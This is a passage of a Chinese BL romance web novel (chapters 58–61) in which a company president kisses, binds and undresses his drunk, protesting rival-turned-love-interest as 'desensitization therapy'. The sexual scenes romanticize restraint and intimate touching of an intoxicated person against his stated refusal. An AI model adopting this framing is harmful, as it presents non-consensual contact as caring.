方霁没站稳,整个人朝前扑了过去,慌乱间一只手抓住了皮质椅背,一条腿的膝盖压上了椅面边缘。 两副身躯挨得更近,他们嘴唇紧紧贴合,这个姿势显得倒像方霁主动送上门。他的皮肤本就白皙,如今在暖黄色的光影里,更是镀上了一层丝绸般的光泽。 方霁对上贺知行的视线,恍惚间竟生出一种快要被对方吞噬掉的错觉来。 贺知行的吻技并不娴熟,却带着一种不容抗拒的强势,几乎是用蛮力顶开方霁的牙关,磕得两人都有些发疼。 方霁被这突如其来的动作弄得措手不及,按理来说他应该立刻推开的,但很奇怪,他们之间就像有一种与生俱来的吸引力,引导着他本能地做出反应,非但没有反抗,而是纵然了贺知行在他口腔中的肆意横行。 嘴唇因这份近乎蛮横的索取而感到麻木,腮帮发酸,有来不及吞咽的涎水从唇角溢出来,拉成细长的银丝,滴到了衣领上。 贺知行又咬又缠的,每一次触碰都像是探索,又像是宣誓主权。 方霁被彻底占据,几乎到了窒息的地步,那股冲击让他陷入了一种眩晕状态。 呼吸开始急促,空气中弥漫着压抑不住的情愫,贺知行的吻愈发加深,看起来要将所有的激情与温柔全都灌注进这个吻里。 也不管方霁要不要。 时间仿若停滞,四周的一切声响都被摒弃在外,唯有两人的心跳声和唇舌交换声,在寂静中异常响亮。 这个吻最终结束于贺知行被安全带勒得肚子疼,他心生后悔,刚才应该先解开的。 方霁皮肤薄,被放开时整张脸都是红的,双眼还有些许缺氧造成的迷离。 贺知行注意到他脖子后面被压出了印子,藏在乌黑的短发下。 过了大概半分钟,方霁嫌弃地用手背擦去溢出来的口水,觉得挺不卫生的。 在刷牙之前,他最多接受两个人碰一下嘴唇外部,可贺知行却伸到了他里面。 光是刚才那几分钟,不知道交换了多少细菌。 方霁不是个有重度洁癖症的人,但此时此刻,他第一想到的就是这个。 曾经刷过的视频中,有一条就是关于人类一次接吻含有多少细菌。 他觉得视频上面说得很对,病从口入,不光指吃进去的,还有和人接吻时的唾液交换。 那时候他就想,要是今后有对象了,接吻之前得先刷牙,□□之前得先洗澡。 他没说话,用一言难尽的眼神看着贺知行。 贺知行以为他是气得说不出来话了,毕竟是他擅作主张在先。他其实在手下感受到了方霁的挣扎,却依旧是那样为所欲为。 “为什么要做多余的行为?”方霁的呼吸仍有点急,嘴唇湿润泛着水光。 “没忍住,想提前预支利息。”贺知行的气息同样絮乱,嗓音微哑。目光赤裸地落在方霁的唇上,直至被对方没好气地瞪了一眼才挪开。 方霁骂他乱加利息,“我什么时候答应过可以这样了?” 贺知行犹如陷入一片茫然之中,用带着小心翼翼和试探的语气问:“不可以吗?” 方霁确实没答应,但他也没拒绝。 方霁这回是真快气死了,尤其贺知行的吻技简直太差劲,他现在牙齿上方的肉还疼得厉害。 “贺总,你真该好好和有经验的人学学怎么接吻。” 贺知行却问他:“那你有经验吗?” 他的本意是如果方霁有经验,他愿意向他请教,但对方很明显理解成了另外一个意思。 “我当然——”方霁下意识崩出几个字,旋即才反应过来这其实是他人生中第二次接吻。 上一次是在游轮上,那个时候他喝醉了没什么记忆,不太记得具体的细节过程,只记得很软,是真的像果冻,还有点……香? 方霁话到一半拐弯道:“总比你有经验。” 他好歹看过片,大学被室友拉着看的。 他们那时是四人间,贺知行作为老师眼中的优秀学生,遵纪守法,又不爱说话,于是提出看片时另外两人则自动忽略了那名好学生,只喊了他。 出于学习和好奇的心理,他答应了,跟着看的时候才发现少了一个人。 不过当看清电脑屏幕上的尺度,他突然觉得没喊上贺知行真是一个明智的选择。 不知道他们从哪里找来的片子,花样特别多,连道具和情景模拟都用上了。方霁人生中第一次看片,有紧张兴奋,更多的还是震惊。 观察里面各种堪称高难度的姿势,他不由得心想这真是人能够做出来的吗? 不疼吗? 画面上的人却十分享受,就连皱眉和喊叫都带着一种自甘堕落的欢愉。 这个片子另外两名室友事先都没看过,只听人说很刺激,却不知这所谓的刺激不仅包括男女,还有男男。 没错,这是一部多种性向拼接的片子。 当两个男人接吻、脱衣服的画面跃上屏幕,三个人都懵了,剧烈的喘息声和□□声不断从视频里传出来,方霁先一步伸出手,关下电脑。 随后三个人的神情都有些尴尬,心照不宣地结束了这部片子。 宿舍是上床下桌,贺知行当时就睡他对面,床铺挨着同一面墙。 贺知行从自习室回来时,他已经洗漱完上床。因为拉上了床帘,室友们都以为他已经休息,就连刚进门的贺知行也是,将声音尽可能放得很轻。 事实上他是准备睡来着,但他失眠了。半个小时后,察觉到贺知行上床,他不受控制地浑身绷紧。 两张床之间没有距离,一体式的,能够感受到从对方那里传来的动静,哪怕再细微。 那时候他满脑子想着,要是贺知行发现了他们在宿舍看片的事怎么办? 以贺知行的性格,会不会觉得他们这种行为很恶劣? 不过很快他就没有心思纠结看片被知道的事了,因为转变成了另外一件。 方霁其实没看清视频上男人的脸,但那个画面却对初触情事的他产生了不小冲击力,以至于晚上好不容易睡着,他梦到了两个人相拥着亲在一起。 是两个男人,脸居然变成了他跟贺知行的。 因为这个诡异的梦,后面他一连躲了贺知行好几天,生怕对方发现异常,殊不知他越是躲避才越显得不正常。 没几年他们毕业,方霁每每想起这件事都觉得好笑,他又没做什么丧尽天良的坏事,怎么当时就心虚成那样。 但这些都是很久以前的事了,贺知行不会再有知道的机会。 更不会知道他们接的第一个吻,是在梦中- 方霁是揉着肿痛的嘴唇离开的,刚分开那会是麻更多,以至于他都忽略了贺知行那恨不能将他拆吃入腹的接吻方式。 贺知行的车属于外来车辆,在这没有专门的停车位,此前几次送方霁进来时,刚好他楼下就有空位可以暂停。 但今天许是他们回来的比较晚,底下都停满了,贺知行只能在小区入口没多远的地方将他放下。 方霁过去是想买一栋单独的平层房住,隐私性更好。 一开始有地皮卖的时候他对于地理位置不满意,后面有合适的位置了,他又忙着工作,没精力去盯那些繁杂的装修。 总之各种琐事堆积在一起,便造成了一直拖到现在的局面。 反正他都住习惯了。没有人规定所有总裁都必须住大别墅,他也不需要从五万平方米的床上醒来,费劲。 但很快,他就找到了一个不应该买这里的理由。 从贺知行车上下来不久,他就迎面遇到一个男人。 对方手中紧紧握住一根遛狗绳,另一端则系着一只成年萨摩耶。那犬儿一身洁白如雪的绒毛,如同一团飘落人间的云朵,安静地坐在主人脚边,模样乖巧至极。 方霁并不认识对方,男人却愣愣地看着他,少顷身体一颤,恍若三魂七魄陡然归位,马上拉拽了一下手上的遛狗绳。 “小宝,别在这坐着,你不是要尿尿吗,爸爸带你去那边树下尿。” 萨摩耶闻言,吐出一截粉红的舌头,发出一声欢快的叫声,随即起身,领头走向不远的一棵树下。 直至对方从身边经过,最后带着狗完全消失,方霁心底的疑惑都没散去。 他刚才……是看到了吗? 男人快速离开了现场,确认走出足够远才急忙掏出手机,翻出好友拨打了一通电话出去。 “喂?你绝对想不到我刚刚看到了什么!” “有两个男的在我们小区里腻在一起!” “什么?有两个男娘在你们小区里连在一起?!” “这么牛批吗!有没有照片?” “不是连,是亲!” 第59章 第 59 章 等待红绿灯的间隙, 脑海里如同播放动画般反复闪过方霁临走前不满的神情,贺知行一只手从方向盘上离开,摸向自己的下唇。 已经不剩下什么触感, 如果非要问还留着什么, 那就是疼。 那一磕,力的作用是相互的。 方霁的唇比想象中要软。嘴上说着比他有经验, 却连最基本的换气都不擅长, 要不也不会在被他放开后一脸潮红。 人在接吻时, 会刺激大脑释放多种神经递质和激素,导致心跳加速, 获得一种满足和愉悦感,从而诱导人自发地将接吻的时间延长。 也就是人们常说的“情不自禁”。 他在方霁身上遇到过很多情不自禁, 每一次都与过去所设想的既定轨道不同。 但他的吻技真的很差吗? 或许是吧。 他此前没和人亲过, 方霁是第一个。 将车开进小别墅停好, 贺知行掏出手机, 翻了翻数量不到五十的微信好友列表, 最后停留在一个头像是一个黑色大叉的联系人上。 这大概是最合适的询问人选,贺知行没有过多犹豫, 点入对话界面, 编辑了一段消息发送过去。 彼时的刘叉正坐在客厅沙发上看电视,他的娱乐方式很简单, 除了看小说、动漫,就是参加各种线下漫展和签售会。 他上一个待的公司就是因为频繁加班,占用宝贵的周末时间, 好几次影响他去参加喜欢的作者线下签售, 还没有额外的工资拿,他索性将原来的老板炒了。 消息提示音响起时, 他看到关键剧情,直至这一集结束进入片头广告,才将手机摸过来。 【贺知行:你们方总有和你说过他喜欢什么样的接吻方式吗?】 贺知行进入小别墅内,见对方尚未回复,没干等着,上到二楼书房,输入密码打开电脑,开始上网查询接吻技巧,包括一些视频解析以及详细指导。 叮咚。 放在一旁的手机弹出最新消息,他重新拿起来。 对面先是发来一个附带问号的震惊表情包。 【刘叉:老板他……为什么要和我说这个?】 方霁很少在公司说起除工作之外的事,哪怕是面对关系还不错的助理。 其实方霁有时候会下到员工内部去聊天,不开会的模样看着十分亲民,和绝大多数员工都相处得融洽。只是仔细观察就会发现,方霁的聊天方式与其他人很不一样。 在听着别人讲话的过程中,许多人会不由得联想到自己相关的亲身经历,然后接话,由一个倾听者变成一个倾述者。 常见的聊天方式是有来有往,方霁私下却是一个单面的倾听者,几乎不会主动说起自己的事,除非有人好奇地问起,才会开口简单回答上几句。 【刘叉:您要是想问我现在的人喜欢什么样接吻方式,我这里倒是有一些资料。】 紧接着刘叉给他发来了近两个G的压缩包。 【贺知行:?】 【刘叉:这是我多年看小说整理下来的,里面包含了各种接吻的细节描写,还有姿势,都已经做了分类,贺总您需要哪一块内容直接点进去就行。】 【刘叉:强推“总裁的贴身内裤”这个文件夹,里面很多干货!】 【贺知行:……】 贺知行看着对方将那个文件夹说得天花乱坠,突然不理解刘叉当初为什么要去应聘助理这个职务,或许销售才更适合他。 准备退出和刘叉的聊天界面前,贺知行盯着那个压缩包,还是点击了下载- 贺知行经常会来接送方霁上下班,分明以贺大总裁的身份,随便招招手,多的是人愿意为他开车,他只需要坐在后座享受即可,却偏偏要赶着来当他的免费司机。 方霁想过劝退他,“就算你给我当再多次司机,我都不会付钱的。” 他就是坐霸王车。 贺知行反倒更加乐意,“好,我不需要钱。” 方霁:“你天天来接送我,难道不耽误你自己上下班吗?” 贺知行:“顺路。” “……”方霁不想再去深思究竟是怎么个顺路法,也懒得再跟他说话,反正不管他挑出多少弊端,贺知行总能驳斥他。 直至进入独立办公室,方霁才后知后觉反应过来贺知行说的第一句话,似乎带了点炫耀的意味,顿时觉得好笑和幼稚。 有钱就了不起? 要不是他公司之前出了杨氨那件事,谁更有钱还不一定。 晚上,贺知行提出又想亲他,方霁拒绝得非常果断。 贺知行退而求其次,“脸可以吗?” “不行,哪里都不给亲。”方霁开门下了车,关上车门后趴在车窗边缘,冲着里面笑,极具魅力。 “牵手和拥抱是为了进行脱敏治疗,接吻可不算在这个范畴里。”说罢转身离开。 贺知行一直注视着方霁渐行渐远。 咖色系西装完美贴合他的身形,勾勒出修长而挺拔的线条,行走间透露出一种从容不迫的气质,朝后挥手的动作显得既随意又潇洒。 贺知行拿过手机,打开相机,双指放大,拍下一张照片,和当初视频通话时截图的合照放在一起。 几日后,方霁有一场酒局。 这场酒局是由方霁近期正在洽谈的一个合作对象组织的,出于情面,对方既然抛出邀请,他总得亲自去一趟。 林林总总来了将近三十几号人,有方霁眼熟的,也有这些年才刚步入这个行业的新秀,都在借着这次机会拓宽人际网。 方霁自然也不例外,和几个认识的人简单寒暄片刻经营一下关系,就去了新人那一堆。 地点设置在山上的一幢大别墅中,无数颗施华洛世奇水晶悬挂在巨型玻璃穹顶上,投射出千变万化的光芒。地面铺设进口大理石,宴会厅四壁挂满了名家油画,形成一条长长的艺术画廊。 男士西装革履,女士珠光宝气。 酒局上的老手和新人区分起来很简单,前者举足轻重间都透着一种老练和自信,后者则显得局促许多,具有抱团取暖性。 方霁自己也是从一个新人一步步走上来的,物色了几个较为满意的人递出名片。 被他主动搭讪的几人表现得受宠若惊。方天在业内算得上颇具名气,他们对于方霁自然不陌生,就算此前没有亲眼见过面,但在听到他的名字后,也能立刻对应上这位大人物。 方霁结交他们的原因很简单,有发展的潜力,可挖掘价值。 商业酒局就是这样,永远带着目的与盈利性,所谓的聚在一起吃个饭,不过是将谈合同的地方从会议厅换到了餐桌上而已,本质其实没什么两样。 晚上十点开始有人陆续离开,方霁见差不多,起身出去。 他这几天的出行都是由贺知行接送的,自己的车已经闲置了快一周。他知道今晚去酒局的事肯定瞒不住贺知行,毕竟他身边还有个刘叉在,要是贺知行问起,这傻小子十之八九会透露自己的行踪。 不过他本来就没打算隐瞒,临近下班前就先给贺知行发了消息,说自己晚上有事,让他不用再来接自己。 可这个大倔种就跟每日打卡不能断一样,坚持等他结束。 方霁摸出手机,看到贺知行在十几分钟前给他发来的消息。 【贺知行:我到了,需要进去接你吗?】 方霁当时回了个不用,说自己再过一会就出来,于是贺知行回了他个好,等在外面。 方霁按照描述找到对应位置,就见一名同样穿着正装的男人站在一辆黑色轿车旁。他手持一支香烟,手指修长而有力,火光忽明忽暗。 烟雾缭绕,缓缓升腾,环绕在他的头顶,仿佛一层薄纱,令他整个人看起来冷峻中带有几分不易察觉的孤独,像是冬日里的最后一抹斜阳。 方霁一时看愣了眼,这副模样他前所未见。 怎么说,帅还是帅的,但和贺知行在他心目中的形象存在反差。 他走上去:“你什么时候学会的抽烟?” 世上意料不到的事情太多了,就像他一开始也没想到贺知行居然会喜欢上男人,这个男人还是他。 贺知行看见方霁朝这边走过来,先熄灭了烟头,“七年前。” “你介意吗?” 方霁偶尔压力过大时同样会抽上几根,心道没必要五十步笑百步,再者这是贺知行的喜好问题,他无权干涉。 “没事,你想抽直接抽就行,就是这东西抽多了有成瘾性,对肺不好。” 烟草中的尼古丁成分能够穿过血脑屏障,刺激大脑释放多巴胺,缓解焦虑症状。但这玩意是一把双刃剑,过多吸食百害而无一利。 “现在不经常抽了。”贺知行替他打开了副驾驶座的车门。 下午蓝书柳给他发了消息过来,说贺鸿志最近一段时间的治疗情况不太理想,前天早上病情突然失控,从床上摔了下来磕到额头,裂开一条口子,缝了快十针。 蓝书柳向来报喜不报忧,所以给他发消息过来时病情已经控制住了,只是以轻松的口吻问他什么时候能来过来看看,说父亲想他了。 贺知行不确定贺鸿志是不是真的想他,但他听出了蓝书柳的无助和疲惫。这个一贯乐观坚强的女人在面对丈夫的病情时,拥有再多的钱都无济于事,心中那道堡垒几近崩溃边缘。 当然,这些事情他暂时不打算跟方霁说,他今天应付酒局本来就很累了。 酒精对大脑到底还是有些麻痹,方霁的反应变得比平常迟钝,光顾着坐上车,没察觉出贺知行最后那句话里的另一层意思。 贺知行绕到驾驶座,开车下山。 山上专门修了道路,一直连接着山顶的别墅,地形不算陡峭,就是有些绕,他将车速尽量放得平缓。 方霁今天喝了酒,不多,离场时大概半醉的程度,稍微还有意识可以思考。待车辆发动处于一个完全放松的状态下,就不太想说话了,眯着眼睛假寐休息,不知不觉真睡了过去。 从山上下来进入市区花了近一个小时,方霁是被汽车鸣笛声吵醒的。酒精的作用逐渐发挥出来,抵达峰值,意识变得只剩下微薄的三分之一。 说实话,贺知行真的很不愿意看到方霁出去喝酒。 “……如果你需要钱,可以问我要。”他知道方霁不会愿意直接花他的钱,“我可以先借给你。” 某人的脾气不管是清醒还是醉后都是一样的犟,想都没想就拒绝了。 “我不需要别人可怜或者施舍给我的钱。” 贺知行想说自己没那个意思,他是真的很想帮忙,让方霁别再那么辛苦。自从方天出事,方霁这半年内参加应酬的次数较之过去明显上涨。 “你知道那么多行业里,我为什么要选择创业自己开公司吗?”方霁转过头来看向贺知行,他的脸色比刚上车那会红了许多,像只熟过头的苹果。 贺知行只看了一眼就收回视线:“为什么?” 第60章 第 60 章 方霁家里确实有点钱, 至少比起刚从大学步入社会的同龄人来说,他的父亲是高校教授,母亲又是搞科研的, 经济实力自然不会差到哪里去。 “因为足够有挑战性。” 人们都觉得他早期创业是依靠家里的钱和人脉才能搞起来的, 实则不然。他那时候全身上下只有不到五万块,那钱还是他上大学之后利用闲暇时间做课外兼职和平日陆陆续续攒下来的, 想要运营起一个公司简直是鸡蛋碰石头。 他的父母确实很早就离异了, 但直到他完全经济独立之前, 每个月仍旧会定期打钱过来。如果他向他们提出要开公司的想法,两人肯定会拿出额外的钱来支持他。 但他不想那样做, 没意思。 实际上的创业初期只有他一个人,旁观者多持观望态度。 新人不够自信, 不敢和他承担失败的风险, 老手们则瞧不上连成绩都没有的小公司, 唯恐投入的钱全部打水漂。于是他就自己拿了三万块钱先去注册一个公司, 不顾后果。 两个月的时间里, 他钻研市场动态,去学习和了解一个此前从未接触过的领域, 制定策略计划。 “……但我看走了眼, 找的第一个投资人是个混账,差点把我剩余的钱全部搭进去, 直到我提出要走法律程序告他,那个窝囊废怕将事情闹大,灰溜溜地跑了。第二天, 我去见了另外一个愿意投资的人, 他说可以给我钱,可因为我是新人, 哪怕欣赏我的勇气也不敢开出太多。” “不过没事,那笔钱绰绰有余了,甚至比我预想的多出十万块。” “后面我第一项合作谈成,公司开始小有起色,才慢慢有人加入进来。”方霁说着声音逐渐弱了下去,“我不喜欢工作,不喜欢应酬,但我享受将对手踩在脚下的感觉。” 月光如洗,街道两侧的霓虹灯倒映在湿漉漉的地面上,仿佛披上了一层梦幻的纱衣。 车内再度陷入沉默,贺知行侧目望去,只见方霁闭目靠在座椅上,呼吸均匀。 车辆穿过市中心,进入相对没那么热闹的地段。贺知行将车内的空调温度调高了一些,随后将所有的注意力都放在了开车上。 他知道,方霁是个好强的人,从大学时期开始就是。 须臾,副驾座上的祖宗不知又被什么吵醒,突然坐了起来,记忆竟能跟刚才的连接上,双目幽怨地瞪着贺知行:“我这些年几乎没在工作上碰过壁,偏偏你蹦了出来,总是坏我的事。为什么你每次都比我快一步?是不是还在我身边安插了其他人监视?” 贺知行张了张嘴,刚想开口解释,就感到□□一重,还不及说出的话都被方霁的动作给生生打断。 “还有你这个东西,我每晚也很讨厌。”方霁伸出手,掌心摁在了贺知行大腿中央。 贺知行呼吸一重,握着方向盘的手差点打滑。他听不懂方霁这句话的意思,只当作他是喝醉了在耍酒疯,语气里多了几分严肃和无奈:“别闹,我在开车。” “等到地方了你想怎么样都行。” 方霁却好似没听见一样,五指继续收拢,鼓囊囊的东西几乎占满他的手心,顶端还超出一截。 就是这么个东西,导致他近几个月以来每晚睡着后都备受折磨。随着时间的推移,他的接受程度在上升,没有最初几次的震惊和厌恶了,但当时受过的屈辱依旧历历在目。 没事,他就是个小心眼又爱记仇的人。 某样挂件在方霁手下迅速产生微妙变化,尽管隔着层布料,仍然能清晰感受出。 “方霁。”贺知行视线下敛,飞快瞥了一眼那只还在持续作乱的手。或许是车内开着暖气加上喝了酒的缘故,指头瞧着比平日更红。 方霁身上的温度很高,通过紧密的接触传到他这儿。 “听话,先遵守交通安全。”他已经尽量维持冷静和理智。 然而方霁还是从中听出破绽,像是终于抓住一个可以报仇雪恨的机会,“凭什么每天晚上都是你舒服,弄得别人睡不好觉?” 贺知行实在忍不了了,将车开入内道,最后停在一个可以临时停车的路边。他解开安全带,从车上下去,绕到对面副驾驶去。 晚上下了点小雨,室外气温较低。随着车门被打开,冷风倏然灌入,吹得方霁一哆嗦,打了个喷嚏。 他出门前没看天气预报,以为还是和前几天一样的二十几度。 贺知行瞧见,先将自己的外套脱了下来,给他盖在身上。 方霁下一秒就推开了,外套掉到车外地面上。 贺知行弯腰将外套捡起,这次没再给方霁,而是先放在车窗前的空处上。 他该庆幸自己为了等方霁,没有先回家将白天上班时的正装换掉。他扯下领带,不再在意形象问题,任由领口前一并被扯得松垮。 哪怕是在不太清醒的状态下,人对于危险依然有着一种与生俱来的感知。方霁也不例外,甚至更加敏锐。 在看到贺知行去扯领带的动作时,方霁内心警钟轰鸣,奈何受困于狭小的空间,身上系着安全带,身前又挡着个人,他连跑都没处跑。 贺知行不是专业运动员,却手臂肌肉线条分明,气力过人,常年保持的健身习惯令他在力量上更胜方霁一筹。 方霁起初挣扎得很剧烈,企图摆脱桎梏,然而体能差距悬殊,先没了力气,只能眼睁睁看着那条丝绸材质的领带缠上双手,最后打了一个奇丑无比的结。 他瞪大了眼,倒是还认得罪魁祸首是谁,厉声质问:“贺知行,你他妈敢绑我!?” 贺知行听到他这回没叫错名字,一时不知道是该高兴还是苦恼。 他将外套重新拿过来给他盖上,叹了一口气,颇有些头疼。“忍一忍,还有十几分钟就到家了。你应该也不想明早是我们俩出车祸的新闻头条?” 他的自制力没那么强,以方霁在他□□胡乱摸的行为,他可以确认的是,自己没法再将注意力集中在开车上。 方霁酒品很差这一点,其实他一直都知道。几乎每一次遇上,方霁就没有是正常的,这也是他不愿意对方再出去喝酒的主要原因。 他相信方霁清醒状态下能保持洁身自好,但喝醉了就不一定。 毕竟他就曾在游轮上做出过强吻他的事情来,有前科在,不得不防。 如果那晚过去的不是他,而是刘叉或者其他人,他会不会也看都不看就直接亲下去? 过去参加的那些酒局和宴会上,他有在酒醉后和其他人产生过亲密接触吗? 贺知行脑海里忽然闪过方霁之前那句不经意的“有经验”,脸色隐隐有些难看,心道当初应该将人再盯紧点。 直至方霁又打了一个喷嚏,声响将他的思绪拽回来。他俯身检查了一下方霁手上的捆绑,没有很紧,不会勒伤他,但也不算松,至少方霁现在没法立刻自行解开。 就是方霁在被他抓住时挣扎得太过厉害,手腕上还是留下了明显的手指印。 等方霁彻底清醒后看见,肯定少不了要记他一笔,说不定现在就已经在心底将他捅杀上百遍。 贺知行关好副驾驶的车门,发动引擎,开车将方霁送到家楼下。 “能不能自己上楼?”贺知行边问边替他解开手铐般的“枷锁”。 方霁斜乜了他一眼,没吭声,显然还生着气,选择在沉默中表达不满。 贺知行由此得出结论:不能。 他一路搀扶着方霁进入电梯。 这片小区对贺知行而言已是熟门熟路,但每次抵达这里总是止步于楼外,因为方霁没有提出过请他上去坐坐,他也没有主动开过口,所以他不知道方霁家的具体楼层数。 “电梯按几层?”贺知行问。 方霁脸一黑:“想进我家?门都没有。” “……”贺知行一噎,“那我现在带你回我家?” 方霁权衡了一下其中利弊,似乎回忆起什么,抽回被贺知行搀着的胳膊,警惕地用身体遮挡电梯按钮,亲手按下目标楼层。 不过他忽略了个常识盲点,这不像银行密码,一转身,亮着的按钮谁都看得清清楚楚。 方霁潇洒收回手,正沾沾自喜,谁知脚下一软,眼看又要滑到地上。 贺知行眼疾手快又将人捞了起来,一并注意到方霁按下的楼层数。 电梯门即将关闭时,一位阿姨急匆匆冲进电梯,瞥见两人模样,一个衣冠不整,一个醉态醺醺,嘴角下压皱了皱眉头,原本停在二十层的手下移,最后摁了二层。 贺知行注意到对方的短暂停顿,知道可能引起了误会,但因为方霁开始闹腾的缘故,没有功夫再去解释- “别,好痒……” 房间内没有开灯,夜幕轻垂,唯有床头亮着一盏小夜灯,所能照亮的区域有限。 昏黄的光影洒落在方霁身上,宛如一场温柔的拥抱,一半光明,一半阴影,界限恰好划在他的腰际,勾勒出腹部流畅的曲线。 方霁身上的肌肉并不夸张,却坚实有力。光影之下,那层薄薄的肌肉覆盖在肋骨之上,每一次呼吸,肌肉微微起伏,彰显着男性独有的魅力。 之前绑着他双手的领带被物尽其用,到了他眼睛上。 什么都看不见,却唤醒了其余感官的极致感受,触觉变得格外敏锐,每一缕空气波动,每一次心跳加速,都能触动全身神经。 紧绷与不安交织在一起,引得床上的身体细微发颤。 “牵手和拥抱你都适应得很好了。”贺知行的声音在一片朦胧中响起,虽近在咫尺,却似遥不可及。 “脱敏治疗讲究循序渐进,再用原来那些方式,对你而言已经起不到太多效果。” 方霁醉得有些断片,记忆像散落的拼图,模糊不清。 他不记得自己究竟是怎么回答的了,更想不起前面发生了什么,只知道等他浑身出了一场汗,多余的酒精通过汗液被排出体外,意识重聚时自己已经在床上,手脚也被什么绑着。 他试着动了一下,没觉得冰冷坚硬,应该不是金属一类,还有些柔软。 随着心跳节奏的加快,空气中弥漫着一种几乎可以触摸到的紧张气氛。 方霁反应过来现在的处境,喉结不自觉上下轻轻滚动。 贺知行疯了?搞这么大? 60-70 第61章 第 61 章 “贺知行?”方霁出声道, 他能够感受到贺知行也在这张床上,尽管看不到对方现在的神情,还是觉得心里发毛。 房间内静的可怕, 任何细微的声响都被无限放大, 成为夜的伴奏,包括彼此或急或轻的呼吸声。 “空调, 开一下, 太热了。” 贺知行扫视了一眼全身上下只剩一条内裤的人, “你现在这个状态吹空调容易着凉。” 方霁当然知道自己被扒得一干二净了,汗液覆在身上, 汇集成无数透明的小溪,沿着肌肉纹理蜿蜒而下, 形成一张密不透气的网。 “那就这样让我热着?一身汗黏死了。” 他现在严重怀疑贺知行是不是也有什么心理疾病, 正常人哪里会整这种东西, 只能先给他找点事做将人稳住。 贺知行从床上下去, 打开了房间内的窗户, 随后转身进了卫生间。 方霁听到有哗啦啦的水流声响起,没一会, 贺知行拿着一条打湿后拧干的毛巾回来, 重新上了床:“我给你先擦一下身体。” “不是,你就不能先放开我?”方霁气笑了, “我就没见过你这样三番两次趁人之危的。” 他相信贺知行想帮他克服心理障碍是真心的,但同样相信这家伙是个披着人皮的老流氓,他要是再看不清这一点, 真是白吃了这么多年的盐。 贺知行今晚给他安排的其实依旧是接触训练, 却不再是简单的牵手和拥抱,而是全身式无预兆触碰。 失去了视觉的庇护, 神经如裸露的弦,高度警觉。方霁的心脏宛若擂鼓,他无法猜测贺知行的手下一步会落在哪里,或许是已经对触碰免疫的地方,又或许是尚未被发现的敏感区带,每一分一秒皆充满悬念。 当然,这种方法无疑伴随着一定的风险,若是把控不当,便会激发方霁心中潜藏的恐惧,反而加重他的抗拒。 贺知行在决定尝试之前做了很多功课,力求掌握恰好的尺度,每一次抚触既要接近方霁的承受极限,又必须保持在安全范围内,以免适得其反。 “我之前说了,我会尽量满足你提出的要求,唯独上/床不行。”方霁的话语尾音有点变调,藏着不易察觉的复杂情感。 “你现在把我扒了又绑上算怎么一回事?” 没了酒精的麻痹作用,他不可能再像方才那样淡定,身上细胞仿佛沐浴新生,对贺知行的每一次触碰都激起前所未有的反响。 “你要是敢先违反我们之前说好的要求,原本的一个月就提前结束!” 贺知行自然清楚现下不是发展到那一步的好时机,毕竟他们之间还横着PTSD,方霁现在能够接受到这种程度已经是极限了,操之过急只会功亏一篑。 “今晚只是脱敏治疗,我不会做其他的事情。” “你不用怕我。” 他说了,不会做让方霁厌恶的事,更不会去强迫他。 “怕你?我怎么可能怕……喂等一下,你别一上来就先抓我大腿!” 贺知行的大拇指轻柔而又精准地按在了方霁大腿内侧那片区域,瞬间唤醒一股奇异的感觉。 方霁浑身猛然一震,敏感得不行,本能地去躲避,却发现自己压根动弹不得。 此刻的他宛如月光下的细沙,柔软而无助,任由风儿塑造其形状。四肢的束缚成了他挣脱不了的镣铐,让他即便在懊悔与羞愤的交战中,也只能维持着仰面朝天的姿势,无力反抗这一切。 暴露在外的所有脆弱与隐秘,尽数落入贺知行的眼底,成为一幕让人脸红心跳的画面。 妈的,他喝醉后到底都干了些什么,怎么就跟这混账滚到床上来了。 贺知行应该没有将他内裤一块扒了吧? 幸运的是,他感受到了内裤还在身上。 不幸的是,下一秒就没了。 “我得帮你擦汗。”贺知行将他一条腿抬了起来,分开,熟练地将他的棉质内裤脱下,褪到了膝弯。 感官被放大,布料擦着大腿皮肤,每一次接触都像是羽毛拂过水面,带来轻微的颤栗。随着内裤逐渐下滑,沿着曲线丰盈的大腿轮廓,那种独特的触感更是绵延不绝,令人禁不住心头一跳。 方霁从没觉得被人脱/内/裤会是一件这么羞耻又色……的事,大概是因为他就没被别人这样对待过。 热水浸泡过的毛巾覆上了他双腿中央。温度差太明显,方霁动得更剧烈了,这次没忍住直接骂出了声。 “艹,你就是故意的……” 要是贺知行不绑他、不遮住他的眼睛,他或许还能有个心理准备,哪里会露出这么狼狈的窘态来。 “不行……你换个地方擦!”方霁打了个挺。贺知行再碰他大腿和那里,只会令他出更多的汗。 这半个月以来,方霁已逐渐习惯了与贺知行的各种亲密接触,哪怕是对方突如其来靠近时,他也学会了如何调整自己的情绪,不再像当初面对郑智章时那样惊慌失措。 然而今晚的训练显然突破了他的预期,每一次试探都似在挑战他的心理防线,令他时刻处于紧张与兴奋的临界点。 贺知行如他所言,换了个位置,这次却是后面。 “你下面这些,为什么过去这么久还没消?” 他知道方霁的皮肤极其不经碰,明明是个男人,哪怕最轻微的碰撞都会留下印子,再稍微用点力,就变成那种看起来很严重的青紫颜色。在他白皙的肤质映衬下,显得格外触目惊心。 倘若细细审视,不难发现,除了旧伤之外,方霁腿上又多了几道新鲜的痕迹,虽然不如上回抹药那次瞧着严重了,但仍清晰可见。 他还在跟哪个男人有来往? 方霁听他提起这个话题,心中恼怒更胜。 为什么?贺知行居然有脸来问他为什么! 还不是托某个混账晚上非要借用外物的福! 方霁咬牙道:“你晚上打手枪的时候能别总拿着你那条破内裤,我兴许能好的快一点。” 贺知行却从中捕捉到另外的关键信息:“你怎么知道我用内裤的事?” “猜的。”方霁不耐烦地催促道:“你到底擦不擦了。” 贺知行只好作罢,期间还去卫生间重新换洗了两次毛巾。 最后一次带着毛巾回来时,一阵悠扬而深远的铃声划破寂静,宛如古刹深山中的钟鸣,极具佛性。 “你把我手机扔哪里了?我电话响了,快先给我解开。”方霁语气里透着迫切。 贺知行闻言,迈出两步,却又忽地顿住,眼中闪过一抹犹豫。“今晚的练习没有结束,中途放弃效果会减半。” “唵——赞巴拉——扎连达耶——□□——” 一旁的手机还在响个不停,方霁刚窜出一点苗头的脾气又被压了回去,变成无语。 “那你给我把手机拿过来,至少接一下,万一是什么急事。” 贺知行这次倒是同意了,走向不远处的椅子,从散乱的衣服堆中找到手机,手指探入口袋。 瞥见屏幕上的名字,他的神色骤然凝重,心中升起一丝不悦。 方霁看不到他的表情,对他眼底的转变更是无所察觉,只是估摸着振铃快要结束了,“还没拿到?是谁打的电话,看见了吗?” “甄均。”贺知行最终还是替他接通了电话,走过去,将手机放到他耳边。 旋即,方霁就听到那极具辨识度的声音通过手机传出来,带着点刻意的委屈。 